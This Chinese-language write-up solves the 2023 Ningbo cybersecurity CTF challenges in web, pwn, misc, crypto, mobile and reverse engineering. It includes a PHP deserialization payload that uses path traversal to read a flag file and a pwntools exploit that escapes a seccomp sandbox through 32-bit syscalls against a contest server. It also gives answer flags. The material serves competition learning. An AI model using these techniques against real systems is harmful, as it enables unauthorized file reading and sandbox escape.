前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >“天一永安杯”2023宁波市第六届网络安全大赛

“天一永安杯”2023宁波市第六届网络安全大赛

原创
作者头像
故里[TRUE]
发布2023-05-21 21:07:44
1.3K0
发布2023-05-21 21:07:44
举报

Web

Deserialization

泄露源码

存在任意文件读取

Base64读route.php

代码语言:javascript
复制
<h1>Here can you find the position of the flag!</h1>
<?php
$position = "f14g.php";
$gadget = "h1nt.php";
?>
读h1nt.php
<?php
class test
{
public $position;
public function __clone(){
echo file_get_contents($this->position);
return $this->position;
}
}
?>

构造反序列化,exp如下

代码语言:javascript
复制
<?php
class test
{
    public $position = "../../../../var/www/html/f14g.php";
}  
$h = new test();
echo serialize($h);
?>  

O:4:"test":1:{s:8:"position";s:33:"../../../../var/www/html/f14g.php";}

Post传参

read=h1nt.php&input=O:4:"test":1:{s:8:"position";s:33:"../../../../var/www/html/f14g.php";}

flag{583d1a240fb743b0ba37c893dc71e076}

CodeCheck

同上,源码泄露

直接data协议读index.php源码即可

得到flag

flag{56810c5c72444e40ae8988217fe72045}

Pwn

Wingtip

沙盒保护,能利用的全部被禁用了

故采用执行32位的系统调用

脚本如下:

代码语言:javascript
复制
from pwn import *
from struct import pack
from LibcSearcher import *
context(os='linux',arch='amd64',log_level='debug')
#p=process("./pwn")
elf=ELF("./pwn")
p=remote("node.nsctf.cn",51578)
def bug():
gdb.attach(p)
pause()
pay=asm("""
mov rsp,0x100100
""")
pay+=asm(shellcraft.amd64_to_i386())
context.clear()
context.update(arch="i386")
pay+=asm(shellcraft.cat("/flag"))
p.sendline(pay)
p.interactive()

flag{d2d95bb94c5e483697a02a0af8438862}

Misc

Zip

根据附件压缩包提示直接用工具爆破密码

得到密码为01001101

最终得到flag{c0c1371022c8c1be946cdf4084423370}

SimpleDocument

直接foremost一下image.png得到一个空白的pdf文件

由此可知考察的是pdf隐写

在网上查了资料,里看到一个pdf在线转txt的网站

https://tools.pdf24.org/zh/pdf-to-txt#s=1684552722984

解密得到flag{625d7f13d1646c3ab86be95a6ee05dd9}

BeautifulImage

附件直接zsteg查看隐藏信息

看到base64编码ZmxhZ3syNGVkZDc2ZTQ2YzIyYzY1Y2M1YmRkZDNjNmU0ZjZmM30=

解密之后得到flag{24edd76e46c22c65cc5bddd3c6e4f6f3}

Crypto

Secret

e=28,到7转换四次,n=q*p常规rsa解密,脚本如下

代码语言:javascript
复制
from libnum import *
from gmpy2 import *
p=134261118796789547851478407090640074022214132682000430136383795981942884853000826171189906102866323044078348933419038543719361923320694974970600426450755845839235949167391987970330836004768360774676424958554946699767582105556239177450470656065560178592346659948800891455240736405480828554486592172443394370831
q=147847444534152128997546931602292266094740889347154192420554904651813340915744328104100065373294346723964356736436709934871741161328286944150242733445542228293036404657556168844723521815836689387184856871091025434896710605688594847400051686361372872763001355411405782508020591933546964183881743133374126947753
n=19850163314401552502654477751795889962324360064924594948231168092741951675262933573691070993863763290962945190372400262526595224437463969238332927564085237271719298626877917792595603744433881409963046292095205686879015029586659384866719514948181682427744555313382838805740723664050846950001916332631397606277703888492927635867870538709596993987439225247816137975156657119509372023083507772730332482775258444611462771095896380644997011341265021719189098262072756342069189262188127428079017418048118345180074280858160934483114966968365184788420091050939327341754449300121493187658865378182447547202838325648863844192743
c=13913396366755010607043477552577268277928241319101215381662331498046080625902831202486646020767568921881185124894960242867254162927605416228460108399087406989258037017639619195506711090012877454131383568832750606102901110782045529267940504471322847364808094790662696785470594892244716137203781890284216874035486302506042263453255580475380742959201314003788553692977914357996982118328587119124144181290753389394149235381045389696841471483947310663329993873046123134587149661347999774958105091103806375702387084149309542351541021140111048408248121408401601979108510758891595550054699719801708646232427198902271953673874
e=28
d = invert(7,(p-1)*(q-1))
#print(d)
m = pow(c,d,p*q)
flag = iroot(m,4)[0]
print(flag)
#d=8507212849029236786851919036483952840996154313539112120670500611175122146541257245867601854513041410412690795873885826797112239044627415387856968956036530259308270840090536196826687319043092032841305553755088151519577869822854022085736934977792149611890523705735502345317452998878934407143678428270598974118895048541255726081866362873244597848852401525337278579685593608089549627420612550766446790556756189218608599468303128071316817824264017057172109329504196400544392960727076830541698454383219983579234142440792126720764574681623007470101243732219597553028186264897694220155258878504322751913344281575591281231783
# n2s(flag)

flag{cfc48290383943a2cbf3c2d70db44690}

rsa

gamma=0.05又已知等式

g = getPrime(int(nbits * gamma))

q = 2 * g * b + 1

有a的值所以很容易求解q

e=65537,还给个a,直接非预期了

脚本如下

代码语言:javascript
复制
from gmpy2 import *
e = 65537
n=36535558847082719901201561031181835346574576610950713924924272947759193576365817762980927638691696601293089537315055413746788190208875234794229119049056299551864869870291634941246362436491006904347559559494705922259007299126640817275929491680601926404543198957206717290905220235571289759182878331893962038379
c=532997872940452282189043430008002793694788439822465302532208754231005799057972378308576109082463996551992533174546386979606697890310597738637156771564229
a=2694858406312563434474553988904403597551484373358339092528913028454100111881368126493990657117571672510331411186745639563619323775673115439
d = invert(e,a-1)
x=pow(c,d,a)
from libnum import *
print(x)

flag{p01la4d_rHo_a1gOr1thM_r1gh4}

Mobile

Peacock

Jadx直接反编译,找到主函数分析主体逻辑

改zip后缀找so文件拖ida,继续分析主体函数

密文ShsCSyoDREau3/5zSh9v3caw18RH2hat3PeHSEeySh6C2PRwSQv=

寻找字符串找到码表

AB+/abcdefg0123456789OPQRSTUVWXYZCDEFGhijklmnopqrstuvwxyzHIJKLMN

源码表换题目所给码表,脚本如下

代码语言:javascript
复制
import base64
str1 = "ShsCSyoDREau3/5zSh9v3caw18RH2hat3PeHSEeySh6C2PRwSQv="
string1 ="AB+/abcdefg0123456789OPQRSTUVWXYZCDEFGhijklmnopqrstuvwxyzHIJKLMN"
string2 ="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" #original
print(base64.b64decode(str1.translate(str.maketrans(string1, string2))))

得到flag

b'flag{bb13848fe48a51696a29b9f27fda5f5e}'

Reverse

Polenta

Xxtea算法,网上有现成脚本

直接梭哈

代码语言:javascript
复制
#include <stdio.h>
 #include <stdint.h>
 
 #define DELTA 0x9e3779b9
 #define MX (((z >> 5 ^ y << 2) + (y >> 3 ^ z << 4)) ^ ((sum ^ y) + (key[(p & 3) ^ e] ^ z)))
 
 void btea(uint32_t *v, int n, uint32_t const key[4])
 {
 uint32_t y, z, sum;
 unsigned p, rounds, e;
 //鍔犲瘑
 if (n > 1)
 {
 rounds = 6 + 52 / n;
 sum = 0;
 z = v[n - 1];
 do
 {
 sum -= 0x61C88647;
             if(sum>>31==0){
                 sum^=0x9876543;
             }
 e = (sum >> 2) & 3;
 for (p = 0; p < n - 1; p++)
 {
 y = v[p + 1];
 z = v[p] += MX;
 }
 y = v[0];
 z = v[n - 1] += MX;
 } while (--rounds);
 }
 //瑙e瘑
 else if (n < -1)
 {
 n = -n;
 rounds = 6 + 52 / n;
 sum = 0xc6d01432;
 y = v[0];
 do
 {
 e = (sum >> 2) & 3;
 for (p = n - 1; p > 0; p--)
 {
 z = v[p - 1];
 y = v[p] -= MX;
 }
 z = v[n - 1];
 y = v[0] -= MX;
             if(sum>>31==0){
                 sum^=0x9876543;
             }
 sum += 0x61C88647;
 } while (--rounds);
 }
     printf("sum==0x%x\n",sum);
 }
 
 
 
 int main()
 {
 uint32_t v[] = {0x9e43b891,0xa937eaf1,0xddc46c84,0x713ddfda,0xe0072e3e,0xc8ad42c1,0xa79faced,0x951dae4e,0xe7d0ab88,0x1365466d};
 uint32_t k[4] = {0x12345678, 0x90ABCDEF, 0xDEADBEEF, 0x87654321};
 
 int n = sizeof(v) / sizeof(uint32_t);
 btea(v, -n, k);
     for (int i = 0; i < n; i++)
 {
 for (int j = 0; j < sizeof(uint32_t) / sizeof(uint8_t); j++)
 {
 printf("%c", (v[i] >> (j * 8)) & 0xFF);
 }
 }
 
 
 return 0;
 }

flag{04977e9482f9c16040da8b52a5ea3e35}

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • Web
    • Deserialization
      • CodeCheck
      • Pwn
        • Wingtip
        • Misc
          • Zip
            • SimpleDocument
              • BeautifulImage
              • Crypto
                • Secret
                  • rsa
                  • Mobile
                    • Peacock
                    • Reverse
                      • Polenta
                      领券
                      问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档